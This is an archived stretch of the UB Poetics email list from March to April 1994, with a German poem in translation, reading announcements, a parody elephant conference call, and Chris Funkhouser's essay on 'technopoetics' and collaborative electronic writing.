Susan and others, for lack of time, but in order to make a start, here is a poem by a contemporary German poet (born 1953) who is one of a few experimental writers. Her name is Sabine Techel, she lives in Berlin

ES KUENDIGT SICH AN (there is no "Umlaut" in ASKI)

Bevor alles faellt kannst du
das Knirschen der Zaehne im Apfel und das
Reiben rutschenden Porzellans hoeren das
Schleifen der Wolken auf dem Hausdach
das Klappen der Fluegel vor dem Angriff

bevor einer zu gurgeln anhebt kannst du
traeumen wie er unters Waschbecken rutscht
um die Ecke einen schlimmen Blick durch den Zaun

es ist jetzt Zeit fuer kalte Haende
was nicht schlimm ist wenn man immer welche hat
und was schlimm ist will auch gelernt sein.

Die Kaelte wird noch heller
Im Laecheln steht wie einer weggeht

Wofuer es zu spaet ist lassen wir spaeter sein
Fuer Eile ist immer noch Zeit

Here is a semantic translation (I made this quickly, so its not authorized, nor very elaborate, just to give you an idea):

IT ANNOUNCES ITSELF

Before everything falls you can
hear the grinding of teeth in the apple and the
rubbing of sliding porcelain the
cloud's slurring on the roof
the clapping of wings before the attack

when one is on the threshhold of gargling you can
dream how he slides under the sink
round the corner a bad look through the fence

it's time now for cold hands
which isn't bad if one always has some
and what is bad needs practice too.

The cold becomes even lighter
In the smile is written how one leaves
What is too late we leave (to be) later
There is always time for haste

More to follow
Hannah

↑ Index

13. Robert Drake
french poetry in translation: reviewer wanted
Fri 18 Mar 1994

---

friends--

I'm looking for someone to review several recent publications of French poetry-in-translation. I am, sadly, not qualified to judge the quality of the translations... Phenomenal rewards in fame and karma, minimal demands on time... email direct to me and many thanks in advance

apologies in advance to the list-master, if this is in violation...

luigi-bob drake

↑ Index

14. Charles Bernstein
Today at Notre Dame
Sat 19 Mar 1994

--Boundary (ID ULXsWHY1O+DzRJHTHvR/1A)

Date: Fri, 18 Mar 1994 16:03:45 -0500
From: [redacted] (Stephen Fredman)

"Intersections of the Lyrical and the Philosophical" is part of the Henkels Visiting Scholars Series at the University of Notre Dame and sponsored by the English Department and the Program of Liberal Studies. The speakers, Ross Feld, Norman Finkelstein, Michael Heller, and Michael Palmer are top-notch critics of twentieth-century American poetry, who are also poets (and, in the case of Ross Feld, a novelist). On the creative writing side, there will be a poetry reading by Finkelstein, Heller, and Palmer Sunday night, March 20, at 7:30 p.m. in the Library Auditorium, with a reception to follow in the Library Lounge. Also, there will be a creative writing workshop, with all four writers in attendance, in the Library Lounge on Tuesday, March 22, from 12-1 p.m. The conference proper will consist of interrelated talks on modern American poets, looking at how the poets have responded to the often countervaling claims of lyricism and philosophy. All of the talks will occur in 136 DeBartolo: at 4:15 p.m., March 21, Michael Heller will speak on George Oppen and Wallace Stevens; at 8:00 p.m., March 21, Norman Finkelstein will speak on William Bronk and Robert Duncan; at 4:15 p.m., March 22, Ross Feld will speak on George Oppen and Robert Duncan; and at 8:00 p.m., March 22, Michael Palmer will deliver a response to the other papers. These talks should be something quite special, since the speakers have been working on them for the past year. The conference has generated a lot of interest around the country, and we're expecting some visitors to join us from neighboring states. The conference papers will be published in a special issue of the journal SAGETRIEB, for which submissions are solicited.

--Boundary (ID ULXsWHY1O+DzRJHTHvR/1A)--

↑ Index

15. susan
Re: German poetry
Mon 21 Mar 1994

Hannah--The poem is intriguing. Just a couple of questions: 1) What is experimental about "experimental German poetry" these days? 2) How are poets responding to reunification and to right-wing violence, if they are? Thanks for sending. Susan S.

↑ Index

16. Kristen Prevallet

spirit world=numerous world

Mon 21 Mar 1994

Well I know it has been a week since Steve posted a message asking Tom Mandel to elaborate on the "definition of the 'spirit world' that is also the 'numerous' one", but I have been pondering the question and would now like to offer a reply. I suppose I should give a context, since it happened so long ago: Tom found the Kierkegaardian source for an Oppen poem, and concluded by saying "A very complex metonymy of text to human/legendary figure, to the social (war) questions of the moment of the poem and the 20th century is the metonymic whole being pondered; how to live in a spirit world (and *that* one is the "numerous" world) when one is ineluctable alone and confronted w/it at all times."

I am not sure what to say about Oppen, but I do think that the *numerous world* that includes all matters of both history and spirit, each existing by their own right of articulation and presence in the world, is a fitting way to talk about Charles Olson.

Some of us in Buffalo are lucky to be reading Olson for a seminar that Robert Creeley is teaching, and thinking about how Olson imagined a SYSTEM that would contain, well, his BEING--a re-imagination, that is, of the KNOWN world. As far as this question of the spirit goes, I would propose that in Olson one cannot say that 20th century social and political shifts are the only proofs that the world is numerous. I mean, there are historical shifts (like World War II, like the social changes of Gloucester); there are personal shifts (like ruptures of death and longing); there are spiritual shifts (like the moment that the formless, the unnamable are given a SPACE to work their mysteries); and one cannot say that one of the above (of course there are many more) is more inherently significant than any other-- cannot say that there is only history, only language, because being NUMEROUS the world contains multiples-- The world is NUMEROUS, that is, in how it, in all of its complexity and all of its MYSTERY effects us as HUMAN and how we, in turn effect the world. So the spirit does have a place in the numerous world, if only because as yet, we do not know the bounds of our imagination, nor have we yet named the strangeness of all it contains.

I know the Maximus poems are one of those books "we all have on our shelf" so I won't quote too much except, this:

I looked up and saw
its form
through everything
-it is sewn
in all parts, under
and over

(II.173 The Maximus Poems)

Kristin Prevallet

↑ Index

17. Hans-Joachim Rieke

Re: German poetry

Sat 26 Mar 1994

Susan, sorry for the long delay. My child has been ill and I am working under high pressure, so I havent had the power to hook into the net for a few days. I cannot answer your questions offhand, but am planning to write a little more extensively on German poetry for the list in a few weeks time, when some of the projects I am working on are properly set on their way and the two courses I will have to teach starting April 15th are organized an planned. Generally there are a few esperimental poets in the line of Sabine Techel - whose other poems in the collection arent quite as good. Literary studies in Germany say that because of the War and the Holocaust German literature has been preoccupied with moral and political problems. There are interesting poets in teh past though which can and do serve as models for a more experimental poetry that seems to be supported by one of the most important publishing houses right now (Suhrkamp).(Sabine Techel, Thomas Kling et al.) Besides Dada there is of course Celan, then Ingeborg Bachman and Unica Zuern - Austrian I believe - (who wrote complicated anagramms, and was rediscovered in the last few years). The fall of the wall is another problem for some writers from the east. Their topic - if it was dissident before - has changed so dramatically that a lot of them are in a kind of crisis; plus: one of the most interesting ones - Sascha Andersen - was discovered to have been a Stasi-informand. Worrying who was and who wasnt has preoccupied much energy of German writers in recent years. There is an interesting literary scene in Austria (one of them has translated a few poems by Bernstein - and a very interesting scene in Scandinavia which is translated into German and influencial. In Scandinavia the student movement was also a radical cultural movement for experimental writing. Some names: Inger Christensen (systempoetry), Paal Helge Haugen (dotnovel), Jan Erik Vold, Eldrid Lunden (minimal poetry), etc. More soon Best Hannah

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

April 1994

26 messages · Sat 2 Apr 1994 – Sat 30 Apr 1994

April 1994 opens on announcements, the list doing the plain civic work it never quite admits to loving. Nick Lawrence hangs a notice for Alice Notley, reading Wednesday at a Buffalo gallery on short notice — bring friends, students, whoever — while from Vancouver Peter Quartermain tracks Robin Blaser's spring progress through Philadelphia and Washington. Before the arguing resumes, the poets attend to the calendar: who is reading, and where, and how the word might be spread in time.

The arguing, of course, resumes. The month's live wire is the medium itself, and Chris Funkhouser sets the terms with a manifesto's flatness: *“Technopoetics proposed here is not a literary movement”*. Charles Bernstein, never far from the switchboard, presses the point into aphorism — on a network, he observes, *“At every point receivers are also transmitters”* — which is either a theory of poetry or a description of the list you are holding, and probably means to be both.

Relief arrives, as it reliably will on this list, by way of parody. Linda Reinfeld forwards a mock program of conference papers so pitch-perfect it ought to have been real, the academy's whole apparatus of contested spaces and epistemic privilege marshalled behind the immortal panel-title *“Viceroy-on-Elephant or Elephant-on-Viceroy?”*. The list can theorize the institution to exhaustion; it can also, in a single elephant, deflate it.

And underneath it all a sillier engine is turning over, the first sputters of the collaborative doggerel that will overrun May entirely — a thread called Beatnik Bliss, chicken not yet on the menu but the appetite plainly gathering. I have arranged April's letters under their authors' names, the telephones and addresses redacted to black, the readings and the manifestos and the elephant all filed in the order the days delivered them.

— Kristen M. Fabians

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1. Nick Lawrence
Alice Notley reading this Wed.
Sat 2 Apr 1994

==========A N N O U N C E M E N T ========== Poet Alice Notley, whose _Selected Poems_ has just been published by Talisman House, will be reading Wednesday 6 April at the Nina Freudenheim Gallery (300 Delaware Avenue) at 8:00 pm. Please spread the word; this event was set up at short notice, so publicity is scant. Bring friends, students, etc.

Notley's reading is sponsored by the Abbott Poetry Fund.

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2. peter quartermain
Robin Blaser in Philadelphia and Washington DC
Sun 3 Apr 1994

Robin BLASER
(_The_Holy_Forest_ recently published)
will be in Philadelphia 11-15 April, reading at Temple
(courtesy Rachel Blau DuPlessis) 14 April
[he and David will be staying at _The_Barclay_]
and in Washington DC 16-20 April
[when they will be staying at _Embassy_Row_]. He's
returning to Vancouver 21 April

If anyone can arrange a reading for him in those areas
on those dates could you please in the first instance
(since RB has an unlisted phone number) either contact
Peter Quartermain
voice and fax [redacted]
e-mail [redacted]
or arrange directly with him once he's in town?
Thanks.

Peter Quartermain

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3. Juliana Spahr
misko on TUESDAY
Thu 7 Apr 1994

Joan Retallack is worried that there might be some
confusion about when and where Misko Suvakovic is

speaking. It is on TUESDAY at 12:30 in room
608 Clemens.
on April 12.

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4. Linda Reinfeld
yet another opportunity (fwd)
Sun 10 Apr 1994

Subject: Call for Papers - Laboring Elephants

(Why not a call for poems, too?)

+++++ +++++ +++++ +++++ +++++ +++++ +++++ +++++ +++++ +++++

A CONFERENCE PROPOSAL

THE ELEPHANT AND CULTURAL STUDIES

The Elephant as "Physical" Other Does the Elephant Exist? Zoological Hegemony vs. Cultural Fabrication. Pachyderm "Evolution": Eurochronocities and Eurocentric Linearity in the late (post)modern zoological script. Tracking the elephant through texts: Western Visuality and Olfactory Perception

The Elephant: Interrogating Multi-Cultural Rhetoricities: The elephant: Cyborg, Ethnicity, or "Species"? (E) (L) (E) (P) (H) (A) (N) (T)? What's That": Exploitation and the Rhetorical Stategies of Denial in Thai Forestry Camps. Viceroy-on-Elephant or Elephant-on-Viceroy? Accidents and the Uncertainties of Domination in some Durbars of the Late British Raj.

The Elephant As Eurocentric Object:
The elephant and the Lion: the Metaphoricity of Binarity in Early Medieval Texts.
"Hunting the Beloved Other": The elephant as Paradigmatic Problematic of Conservationist Conversations in Theodore Roosevelt's African memoirs.
Garage Sales and elephants: A Dialogue of Contested Spaces.

The Elephant As (Post)Modernist Construction Post-Modern, (Post)Modern, or Postcontemporary Elephant? Epistemic Privileging and Discursive Spaces in MLA Debates. Wild Elephant, Tamed elephant, Zoo-Confined Elephant, Extinct Elephant: Alternative Modernities for a Culturally-Constructed Ani(Male). Elephant Ears: Symbolic Excess in (Post)Nouvelle Pastry Culture. Situating the Paradigmatic other: The Elephant in Weight-Loss Discourse.

[END]

Forwarded to me from:

James V. (Jim) Carmichael, Jr., Assistant Professor
Department of Library and Information Studies
The University of North Carolina at Greensboro
350 Curry Building
Greensboro, NC 27514-5001
Phone: [redacted], Ext 293 INTERNET: [redacted]
"There's only one thing better than love . . . and that's company!"
--Eudora Welty, The Ponder Heart

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5. FUNKHOUSER CHRISTOPH
"Technopoetics' as it was 4/8/94
Sun 10 Apr 1994

> *Dear friends,*
> *At the request of CB I will be posting a .txt of the paper i presented at The New Freedoms: Celebrating Contemporary Russian & American Poetry festival held at Stevens Inst. in Hoboken over the weekend. I shouldn't say too much in preface, but definitely that it's merely a starting point, opening up of conversation, speculation--none of it was explained to me, etc. I don't have any answers to some of the questions about the hegemonic anti-natures of technology, etc. Since it's already out in the open i'll be appreciative of yr Critiques / ideas // praises /// etc. Let's talk--Thanks-- Xhris Funk-*

↑ Index

6. FUNKHOUSER CHRISTOPH
(no subject)
Sun 10 Apr 1994

"Takes a lot of voices
to sing a millenial song." <1>

The majority of poetry people are familiar with small, relatively intimate scenarios, and many truly like it that way. Nevertheless, with hi-tech communications capabilities, and various forms of electronic text processing, the potential topographies <2> of our interactive communities and activities have widened substantially over the past few years. To begin to bring what is a fairly recent concept out in the open, it is important to stress our use of the idea of technopoetics as a specific term, the concerns of which we would like to make very clear. Technopoetics proposed here is not a literary movement. It involves collaboration, with other people as well as the machines. This process

itself is changing and dividing pervasive notions of what "author" and "publisher" are.

"The electronic age now enjoys this time of awkwardness before the age itself disappears along with its name into the day to day of what at Xerox Park they've taken to calling 'Ubicomp,' ubiquitous computing..."<3>

We remember what was written in _Convivio A Journal of Poetics_: "Poetics is a labor and a threshold where we are working to make an actual thing...," which "is a continual reformation.... Above all it treats of inclusion, ...poetics, 'in the plural,' as Robert Duncan says."<4> To echo these notions, as we move into time, and, as a culture, succumb to technology (television, automobiles and such, as well as computers and digital intermedia), the work, our actions must be pluralized in order to maximize the potentials of the technology and not let them contribute to social fragmentation. In no way would we want to speak purely of technopoetry or the technopoetic. "Poetry," "technopoetry" is now, in its potential, something more than a poem, or a book of poems, in its blending with other forms and other media. Will Alexander, introducing a segment of the _We Magazine Issue 18_, describes the work presented as "...a mix of the poetic and essayistic...like opening up an artery of twilight, and opening up and walking through this vast new expanse where one is neither one [i.e. poetic] or the other [i.e. essayistic] but something completely different."<5> To state the apparent, this report comes from what considers itself a "first" world. As one writer has already pointed out, I am speaking from the perspective of an "unintentional elitism," of a "...live by the modem die by the modem future of poetry as an electronic medium."<6> This is true, but needs to be contextualized within the reality of the newness of this technology. In many ways we are at the beginnings of new technological spaces, new electronic networks, which begin to enlarge their envelopes beyond the corporate, military, governmental, academic milieu which it has benefitted until now. My position is a result of the priviledge of birth and guidence, of research and exploration, and is accepted as responsibility. Among the things revealed in the processes of technopoetics is a new kind of wear and fatigue of the body. We are in the age of a physical and mental/consciousness transformation caused by technological phenomena. In fact, sitting in front of video screens and computer monitors especially might be likened to what George Oppen once described as "the bright light of shipwreck" in the poem "Of Being Numerous." Clearly, the predominant scenario in this and future age is a movement towards "The absolute singular/The unearthly bonds/Of the singular", our own type of "Insanity in high places..." in our homes, with the beam of the computer's screen on our faces as well as those of the police helicopter searchlights above our cities and suburbs..."By the shipwreck/Of the singular."<7> This points to

one of the obvious advantages of collaboration: that the time spent by any one individual can be spread out over a collective. There is little chance that our civilization is ever going to be less reliant on computers. "Ours is a time in which ontological questions of truth and falsehoods are less relevant than issues of control--control of meaning, control of context."<8> We have been inspired to "seize the media."<9> The alternative would be to leave it to the disposal of the military industrial complex. As managing editor for _Electronic Journal_, an on-line (Internet) academic magazine concerned with electronic communication between computer users and the implications thereof, as editor with We Press (where a group of editors conspire to "publish" poetry on compact disc, cassette, video and Internet as well as on paper), in addition to my role as a teacher, I am intimately involved with high-tech approaches to both poetry/poetics and the presentation of electronic text. In the spring of 1993, We Press used the Internet (harbinger of the so-called "Information Superhighway") to circulate a poetry journal. After this experiment I wrote an essay regarding the frontier of cyberspace, "We Maga/zine XVII: (A) Textual Experiment." The essay is a theoretical and practical investigation of the po(e)tentials of producing a magazine on an electronic network and the attempt to incite a global community instantaneously through network connections. The essay's simple conclusion is that there is not a doubt that any publisher with a computer connected to the Internet (or the digital--video and audio-- networks which are soon to come to many, many households in America, and the much of the rest of the "first" world) can exponentially increase the circulation and audience of their publication--and otherwise make connections which they would not normally make<10>--by transmuting what they are already involved with to include cyberspace. Of course there are severe socio-ideological concerns with regards to access to the technologies now available, and any fully legitimized network system must make room and provide equal access for everyone. This is not nearly close to being a living reality, but with "Ubicomp," and other systematic plans such as the Information Superhighway, it is likely that we will see millions more Americans become reliant on on-line services over the course of coming decades. It is important that we concern ourselves with equilateral space and learn to cooperatively communicate within the interactive electronic arena now. This, of course, is easier in theory than practice.<11> Before going further, I wanted to briefly connect technopoetics with what Donna Haraway speaks of in "A Cyborg Manifesto." Haraway writes, "By the late twentieth century, our time, a mythic time we are all chimeras, theorized and fabricated hybrids of machine and organism; in short, we are cyborgs. The cyborg is our ontology; it gives us our politics. The cyborg is a condensed image of both imagination and material reality, the two joined centres structuring any possibility of historical transformation."<12> What we find most liberating in Haraway's work, in addition to its pointed ideology

("...cyborg is a matter of fiction and lived experience that changes what counts as women's experience in the late twentieth century"), is its recontextualization of our species as a whole. How anyone can feel they are a part of the same corpus and mindset as those of the pre-industrial world is rather mysterious, to say the least. Do you not often feel constrained by the "metaphysical tradition" which is rooted in what is a truly archaic mode of thought and action? How much do we actually have in common with the mind and body set of pre-electronic culture? Cyborgs, "the awful apocalyptic telos of the 'West's' escalating dominations of abstract individuation," are concerned with "the relationships for forming wholes from parts, including those of polarity and hierarchical domination," and are troublesome because "they are the illegitimate offspring of militarism and patriarchal capitalism, not to mention state socialism...often exceedingly unfaithful to their origin." Haraway's cyborg myth "is about transgressed boundaries, potent fusions, and dangerous possibilities which progressive people might explore as one part of needed political work" in an age where "the need for unity of people trying to resist world-wide intensification of domination has never been more acute."<13> Furthermore, as Don Byrd explains in _The Poetics of the Common Knowledge_, "Our fascination to ourselves as cyborgian creatures is that we combine in our beings the predictability of machines with the wreckless, independence of singular [?] creatures."<14> As we are presented with both the predicament and the predictability of culture, as the computer and other forms of technology, ideological weapons all, begin to dominate our work places, and other places, we must familiarize ourselves with them and use them in a project of creating a better society. Purkinge is a technopoetics writing collective with whom I am currently working in Albany. Purkinge improvisationally rends and resews texts in printed and oral forms,<15> producing a particularly angular "writing" "centered" from different perspectives. The group invents and promotes new modes of authorship and anti-authorship, fashioning melodic conversations in opposition to a system grown entropic. In our experimentations, enabled by technology (linked computers and multitrack recording equipment), we insist on the necessity of interactive, intercorporeal elements in our communication. The group's gatherings reflect a moment in the drift, theoretically and poetically fusing concept and action. Nathaniel Mackey, in an essay on Amiri Baraka, writes of the poet's "obliquity, the sliding away from the proposed we find in many of Baraka's poems." Baraka's method "complies with a fugitive, perhaps idealist impulse, as though 'the mind, moving' might if not outmaneuver such constraints [i.e. social 'conditions whose limits one cannot escape,' and, by extension, the poetry produced within such conditions], at least register the need to do so." The "Obliquity or angularity" of such writingQand the lyric which rises from the implementation of such a poetics, which also typifies the type of work done by PurkingeQ"challenges the

epistemic order whose constraints it implicitly brings to light."<16> In Purkinge, a multiplicity of elements, textual modes, and personalities come together in an intertextual play between sound and voice, meaning and obliquity. We develop a tangential "writing" style pointed towards the creation of a new mode of authorship in the movement away from a non-existent center. It is a conversation, a collaboration, melodic in its ideal. We inhale as well as we exhale, hearts dialate as well as contract. The group wants poetry that shows similar signs of life--and we turn the machine on. In addition to expediting interpersonal communications, computer/digital technology has been used technopoetically in the form of hypertext, and through interactive textually based virtual reality spaces--known as MUDs and MOOs--on the Internet . According to George Landow,

"Hypertext, a term coined by Theodor H. Nelson in the 1960s, refers also to a form of electronic text, a radically new information technology, and a mode of publication.'By "hypertext," Nelson explains, ' I mean nonsequential writing-- text that branches and allows choices to the reader, best read at an interactive screen...'" 23

MUD is an acronym for "Multiple User Dimension," which is an interactive textual-based virtual reality software being used in cyberspace. MOO stands for MUD Object Oriented, in which characters are created and whole electronic dimensions--including a type of hypertexts-- are built. A writer is able to compose by themselves, or with others, in these spaces. We recently spent a few hours with hypertext writers Michael Joyce and Caroyln Guyer. Michael is a novelist, a cybernovelist, and one of the co- developers of Storyspace, "the premier hypertext program available today."<18> Carolyn is coordinator of the woman's hypertext collective High Pitched Voices. Michael gave a talk, "(Re)Placing the Author: 'A Book in the Ruins'" in Albany. He reads the Czeslaw Milosz poem "A Book in the Ruins," drawing metaphors between it and what he perceives as the condition of literature today. He promotes hypertext as the frontier of literature, a re- writing of the process of reading and writing, where the reader, in a sense, is able to write and rewrite any given book. It is an extreme concept for most people, who have quite a linear and perpetualized relationship with literature of all sorts. Joyce reads from Milosz--and interprets: "The poet stands in the ruins...it's the modernist moment...but no...this is not what we see...the poet makes his way into the ruins of a dark building." The building we read metaphorically as technology, "in so doing the movement itself reads barrier as gate. What he reads, he writes." The screen is the barrier, a "gate"--not passable by all. According to Joyce, "Electronic texts present themselves in the medium of their disolution. They are read where they are written and they are written where they are read." A mantra throughout his talk was "print text stays itself, electronic text replaces itself."<19> We see

hypertext as technopoetics in light of its process, which actively promotes the decentering of singular author, and hope the next phase in the development of hypertext software will allow for collaborative interaction in real-time. An article in the recent issue of _Poets & Writers Magazine_ paraphrases Carolyn Guyer, noting the "text chunks," which "replace" themselves, are "called lexia, which may be images and sounds as well as paragraphs and their electronic links empower the reader either to submit to the writer's ordering of the story or to collaborate by manipulating the elements into an entirely new story."<20> High Pitched Voices is working together in a collaborative manner on-line. They have a hypertext discussion set up (in the same manner as the Buffalo POETICS conference), and they work together to composing hypertext in a MOO.<27> When one enters this particular electronic space, by issuing a few simple keyboard commands, they are greeted by the formation of an arch, a pair of mirrored, upper case "I"s as columnar bases. An inscription reads: "A roof over our heads, she said. Appropriate, I thought. Yonic symbol as protection and sign. And....there are two "I"s here. What more could we want?" A "reader" is invited to follow links, and, if interested, add to existing texts and create links between lexia. The group of women involved with High Pitched Voices also holds real-time meetings in this space, open to anyone who is able to log in. We see tremendous poetentials in such an interactivity such as this. Technopoetics resists the exclusivity of the technology in general, and maintains a historical awareness that it is merely a forerunner to what will be customary activity to future generations of writers and artists in the post-electronic age. With due respect and admiration for the PRE-FACE of _Technicians of the Sacred_,<28> which asserts PRIMITIVE MEANS COMPLEX, technopoetics enacts the reversal of that phrase, certain that complex can mean primitive. We are in age marked by the power of information, the dominance of technology, yet it is also important to note we're in the relatively early stages of what will become Ubicomp culture. It is a very complicated time. We must study and act upon what is happening now--& stake some grounds here. There are a few collectives and publications already in this realm, in addition to the aforementioned entities, there are a number of poetry oriented journals on the Internet (_RIF/T_, _Grist_, _Core_, _Taproot_, and _Inter/face_ come to mind). Other publishing groups such as Xexoxial Endarchy and _The Aerial_ are consistently producing poetry in formats other than the printed page, and Eastgate Systems has been pioneering in their dedication to the promotion of hypertext publications. In 1986, I asked Ed Sanders about his vision of the music of the future:

"It has to be, in electronics, the equivalent of the piano forte. That is, right around the time of Bach they were creating this new kind of piano, which was an outgrowth of the harpsichord, that allowed its player to be

infinitely more expressive, using the pedals and playing softly and loud--it enabled the concept of the concerto to arise, where the piano was an actually powerful instrument that could act in concerto with other instruments.

"So what's going to happen now...is the electronic equivalent of the piano forte. That is, there is going to arise a musical instrument sufficient for a new Beethoven, and it will be an electronic instrument. It will have, obviously, many aspects of the modern electronic recording studio and modern high-end synthesizer. I envision it like a giant church organ only instead of stops it will have fifteen or twenty thousand little buttons or knobs & x-y pads & pressure sensitive areas & theramin-like devices where you approach these little knobs with your hands. The proximity of your fingers to these zones & tiny little surfaces will indicate perameters & programs, moods & sounds, or whatever....It will be a "touch" thing; I guess the feet will have to be involved...in other words you'll have to use both hands, both feet, & perhaps a group of assistants. In fact it may be a collaborative thing....It will be complicated...you can use your touch to modify all these perameters instantly...make these sounds, these different layers of sounds, different sounds & chords instantly, as you create it..."<23>

As we find ourselves increasingly--and without much choice--having to making use of the synthetic strands provided by our civilization's penchant for technological living, we need to envision ways to weave the threads given by such an unusual but very real circumstance into a tightly meshed net which alternatively keeps us warm and catches our breath. Among the questions raised by the possibilities implicit in our future immersions is the question of which we want to priviledge, the production of artifacts or the actual engagement of people in a process of living and creating as an outgrowth of daily life. To draw an analogy between technopoetics and other technologies which have long predated the computer, I refer to a collection of essays called _Radiotext(e)_, the introduction of which reminds us "that radio existed long before its receiver did."<24> Bertolt Brecht, in his essay "The Radio as an Apparatus of Communication" suggests we should "Change this apparatus [radio] over from distribution to communication," and that "Any attempt by the radio to give a truly public character to public occasions is a step in the right direction."<25> These are among the ideas we would like to claim as a basis for a technopoetics in the current historical and technological moment.

--Chris Funkhouser

Footnotes <1> Don Byrd, _The Great Dimestore Centennial_ (Barrytown, NY: Station Hill Press, 1986), p. 109. The concept is echoed in other places in the

poem (i.e. "Takes a lot of penny whistles to sing/a millennial song." p. 13, etc.). <2> This is a term I've heard used in this context by Michael Joyce and others. <3> Michael Joyce, "(Re)Placing the Author: 'A Book in the Ruins," SUNY-Albany, March 23, 1994. <4> Louis Patler, "A WORD/AN INTRODUCTION," _Convivio A Journal of Poetics % Number One_ (Bolinas: Tombouctou Books, 1983). <5> Will Alexander, _We Magazine Issue 18_ (Santa Cruz: We Press, 1993). <6> Tony Door, _The Poetry Project Newsletter_, Fall 1993. <7> George Oppen, "Of Being Numerous," _Collected Poems_ (New York: New Directions Books, 1975), pp. 152-60. <8> Gene Youngblood, "The New Renaissance: Art, Science, and the Universal Machine" p. 15. <9> Advice and phrase Peter Lamborn Wilson, Naropa Institute, 1989. <10> Among other previously unknown correspondents for _We Magazine Issue 18_ were Arkadii Dragomoschenko and Armand Schwerner. <11> While the POETICS list at SUNY-Buffalo was thriving for the first month I was a part of it, interaction has decreased substantially for another month now. There were some unusual and fiery interactions which may have contributed to the current status and general awkwardness of the list. In Albany, we hope to see POETICS revive itself. <12> Donna Haraway, "A Cyborg Manifesto," _Simians, Cyborgs, and Women_ (New York: Routledge, 1991), p. 150. <13> quotes are from Haraway, pp. 149-154. <14> Don Byrd, _The Poetics of the Common Knowledge_ (Albany: SUNY Press, 1993), p. 16. <15> Purkinge uses the Daedalus software program in its computer jams, and a four-track cassette system in its spoken/sound work. The group is an outgrowth of the Awopbop Collective, which was started by Don Byrd and Derek Owen in 1991 (see _The Little Magazine Volume 20_). <16> These quotes are by Nathaniel Mackey, _DISCREPANT ENGAGEMENT Dissonance, Cross-Culturality, and Experimental Writing_ (New York: Cambridge University Press, 1993), p. 43. <17> George Landow, _Hypertext The Convergence of Contemporary Critical Theory and Technology_ (Baltimore: The Johns Hopkins University Press, 1992), p. 4. <18> Ted Jennings, introducing Michael Joyce, University at Albany, 3/23/94. <19> These quotations are taken from an audio recording of Michael Joyce's Sesquicentennial Lecture, "(Re)Placing the Author: 'A Book in the Ruins,'" at University at Albany Uptown Campus, 3/23/94. <20> _Poet's & Writers Magazine_, March/April 1994, p. 25. <21> This project is based at Hotel MOO, Brown University (telnet duke.cs.brown.edu 8888). <22> Jerome Rothenberg, ed. (New York: Anchor Books, 1969). <23> Ed Sanders, excerpt from interview with Chris Funkhouser, _We Magazine Issue 3_ (Charlottesville, VA, 1987), p. 6-7. <24> Neil Strauss, _Radiotext(e)_ (New York: Semiotext(e), 1993), p. 9. <25> Brecht quotes from _Radiotext(e)_ (New York: Semiotext(e), 1993), p. 15-16.

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7. Nick Lawrence
farewell party for misko & dubravka
Tue 12 Apr 1994

I'm hosting a sendoff party, really a cocktail hour without the cocktails, for] misko & dubravka on wednesday 13 april from 6 to 8 pm

address: 70 Cottage Street (off Virginia off Elmwood, opposite the purple monstrosity/landmark)

feel free to bring drinks & eats

Nick Lawrence

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8. Jorge Guitart
MOSLEY/OBENZINGER READING
Tue 12 Apr 1994

Don't miss a sensational reading this coming Thursday!

> Just Buffalo Literary Center announces
> a National Literary Network Reading
>
> WALTER MOSLEY and HILTON OBENZINGER
>
> > reading from their works
> >
> > at Art Dialogue Gallery
> > 1 Linwood Avenue, Buffalo
> > Thursday April 14, 1994
> > 7:30 p.m.

WALTER MOSLEY is an African-American mystery novelist. He is Bill Clinton's favorite author. His novel DEVIL IN A BLUE DRESS is being made into a film produced by Jonathan Demme and starring Denzel Washington.

HILTON OBENZINGER writes of the cities' vanished past with imagination, wit, and impressive historical accuracy. In his book NEW YORK ON FIRE, his history of New York fires in verse, Obenzinger provides a unique window on that city's past.

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9. Charles Bernstein
where are you?
Tue 12 Apr 1994

---

hm, err, well, uh ...

I have always confused the local and the, what?, nonlocal myself and it may be that everyone on this list should post local events so we find out what is really happening.

But as it is this list is mostly nonlocal and getting moreso everyday.

Can anyone tell me where to get some gas?

Dinner will be at 7.

With all best wishes,

Your Poetics Listserve Host

"If you'e got the time, we've got the post"

↑ Index

10. Marc Nasdor
Re: where are you?
Tue 12 Apr 1994

The Merit station on Bay Street in Rosebank. Cheapest gas in Staten Island. -Marc

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11. Nick Lawrence
Not just local
Wed 13 Apr 1994

Joe Torra, editor of _lift_ magazine in Somerville, Mass.,

& Nick Lawrence, in the Poetics Program at SUNY Buffalo,

will read from their work on Saturday, 16 April at 3:30 pm*

at the Central Park Grill, 2519 Main Street, Buffalo

I scratched the rules of control, only to find my life a landscape for filling in blanks. Authoritative demonstrations of height and depth envelope the company of uniformed pasts. There is no such thing as two lines not meeting. I set my own timetable and means of regulation. Bits of this pieces of that brutal whole. [JT]

> I wrote a riot and it died
> the writer read it and it tore
> a stutter in my copy of the page's face
> a verse refusal of what's mine in you [NL]

* Note new, relaxed afternoon time

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12. cy6440%albnyvms.bitnet
being loca(l)
Fri 15 Apr 1994

a quick note to substantiate
that
*

The Naropa Institute
aka
The Jack Kerouac School of Disembodied Poetics
co-founded by Allen Ginsberg, Anne Waldman, C. Trungpa Rinpoche

*

is on-line ----------
so you can contact the Department of Writing & Poetics in precious care of Rebecca Bush who facilitiates, administrates the Karma there, wonderfully with the following syntax:

[redacted]

---

in Albany, NY., mittens are still recommended. Katie Yates (mid April)

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13. Charles Bernstein
prequel to long post
Wed 20 Apr 1994

I am going to send to the Poetics list an essay I recently presented on the "art object" in an age of electronic communication. It is about 15 screenfulls long--this is an advance warning. I'm not sure it's a good idea to send such long pieces in this way; let me know what you think.

Meanwhile, how's the weather? Publish any good books lately (online catalogs welcome)?

--Charles Bernstein

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14. Charles Bernstein
I Don't Take Voice Mail (long post)
Wed 20 Apr 1994

"I DON'T TAKE VOICE MAIL"

by Charles Bernstein

[Presented at a symposium, sponsored by the Parsons School of Design, on "The Art Object in the an Age of Electronic Technology", at the New School in New York, on April 16, 1994]

